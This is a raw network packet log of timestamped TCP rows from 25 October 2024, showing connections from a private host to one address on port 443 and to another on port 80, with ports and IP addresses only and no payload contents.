Oct 25, 2024 19:47:16.265386105 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.265445948 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.265449047 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.265486956 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.265505075 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.265894890 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.265954018 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.265980959 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.266007900 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.266036034 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.266439915 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.266499043 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.266506910 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.266534090 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.266561985 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.326611996 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.326704979 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.326705933 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.326740980 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.326771021 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.326781034 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.326950073 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.327003956 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.327426910 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:19.844199896 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:19.849765062 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:19.849842072 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:19.849925995 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:19.855415106 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.044997931 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.045033932 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.045051098 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.045066118 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.045089960 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:21.045121908 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:21.314481020 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.314546108 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.314613104 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.314647913 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.314667940 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:21.314688921 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.314706087 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:21.314729929 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.314742088 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.314771891 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:21.314778090 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.314817905 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:21.314831018 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.314870119 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.314918041 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.314920902 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:21.314969063 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.315002918 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.315016031 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:21.315037966 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.315073967 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.315083981 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:21.320600986 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.320658922 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.320672989 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:21.320698977 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.320713997 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.320736885 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:21.321062088 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.321093082 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:21.321127892 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:21.323785067 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:22.250281096 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.250312090 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.250327110 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.250344038 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.250421047 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:22.250421047 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:22.250725985 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.250878096 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.250895023 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.250910997 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.250926971 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:22.250962019 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:22.251378059 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.251465082 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.251514912 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:22.820883036 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.820923090 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.820940971 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.820959091 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.820971012 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:22.821008921 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:22.821192980 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.821340084 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.821378946 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:22.821780920 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.821800947 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.821839094 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:22.939416885 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.939440966 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.939521074 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:22.939587116 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.939613104 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.939651012 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:22.939738035 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.939821005 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.939836025 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.939851999 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:22.939861059 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:22.939884901 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:23.294358969 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:23.294388056 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:23.294397116 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:23.294491053 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:23.294491053 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:23.364365101 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:23.364377022 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:23.364394903 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:23.364470005 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:23.364630938 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:23.364636898 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:23.364691019 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:24.358313084 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:24.358361006 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:24.358397007 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:24.358433008 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:24.358541012 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:24.358549118 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:24.426964998 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:24.427031040 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:24.427064896 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:24.427098989 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:24.427149057 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:24.427200079 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:24.810194016 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:24.810215950 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:24.810234070 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:24.810250044 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:24.810350895 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:24.879264116 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:24.879282951 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:24.879301071 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:24.879362106 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:24.879403114 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:24.879484892 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:24.948712111 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:24.948731899 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:24.948749065 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:24.948836088 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:24.948894024 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:24.948894024 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:25.328171015 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.328196049 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.328212976 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.328248024 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:25.328279972 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.328331947 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:25.398653030 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.398689032 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.398705959 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.398775101 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:25.398962021 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.399017096 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:25.468317986 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.468353987 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.468369961 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.468437910 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:25.468578100 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.468592882 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.468626022 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:25.537863970 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.537880898 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.537899017 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.537950993 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:25.537986994 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.538003922 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.538043976 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:25.607650042 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.607676983 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.607688904 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.607701063 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.607758999 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:25.607758999 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:25.983690023 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.983714104 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.983774900 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.983792067 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:25.983808994 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:25.983978987 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:25.984055996 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:26.184247017 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:26.273617983 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:26.273637056 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:26.273649931 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:26.273660898 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:26.273669958 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:26.273705006 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:26.497756958 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:26.497805119 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:26.497843027 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:26.497879982 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:26.497884989 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:26.497925043 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:26.498016119 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:26.714667082 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:26.874506950 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:26.874555111 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:26.874593973 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:26.874629974 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:26.874630928 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:26.874682903 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:26.945585012 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:26.945643902 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:26.945679903 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:26.945708990 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:27.015979052 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:27.016045094 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:27.016057014 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:27.016069889 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:27.016099930 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:27.016099930 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:27.085974932 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:27.086002111 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:27.086080074 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:27.467123032 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:27.467170954 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:27.467190027 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:27.467377901 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:27.467407942 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:27.681896925 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:27.840876102 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:27.840941906 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:27.840982914 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:27.841020107 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:27.841068029 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:27.910095930 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:27.910131931 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:27.910306931 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:28.277896881 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:28.277920008 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:28.277978897 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:28.418534040 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:28.418584108 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:28.418601036 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:28.418611050 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:28.418658018 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:28.472680092 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:28.478261948 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:28.478423119 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:28.478517056 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:28.484030008 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:28.489398003 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:28.489521980 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:28.489531994 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:28.489573956 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:28.489617109 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:28.559076071 CEST	80	49175	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:28.559212923 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:28.569348097 CEST	49175	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.214822054 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.214842081 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.214859009 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.214867115 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.214898109 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.214947939 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.214958906 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.214972973 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.214982986 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.214998007 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.215006113 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.215007067 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.215024948 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.215070963 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.222795010 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.222929001 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.222937107 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.222989082 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.331612110 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.331631899 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.331644058 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.331655979 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.331685066 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.331902027 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.331948996 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.331952095 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.331960917 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.332109928 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.655035019 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.655122995 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.655158997 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.655179024 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.655356884 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.655407906 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.655411005 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.655461073 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.655493975 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.655512094 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.656152010 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.656184912 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.656196117 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.656222105 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.656259060 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.656265974 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.656892061 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.656936884 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.657063961 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.793905020 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.793948889 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.793965101 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.793986082 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.794055939 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.794059038 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.865396976 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.865431070 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.865458965 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.865485907 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.865523100 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.865526915 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.865556955 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.865586042 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.865597010 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.866206884 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.866252899 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.866403103 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.936145067 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.936201096 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.936225891 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.936235905 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.936285973 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.936336040 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.936371088 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.936404943 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.936431885 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.936846972 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.936882019 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.936887980 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.936918974 CEST	80	49176	192.3.176.141	192.168.2.22
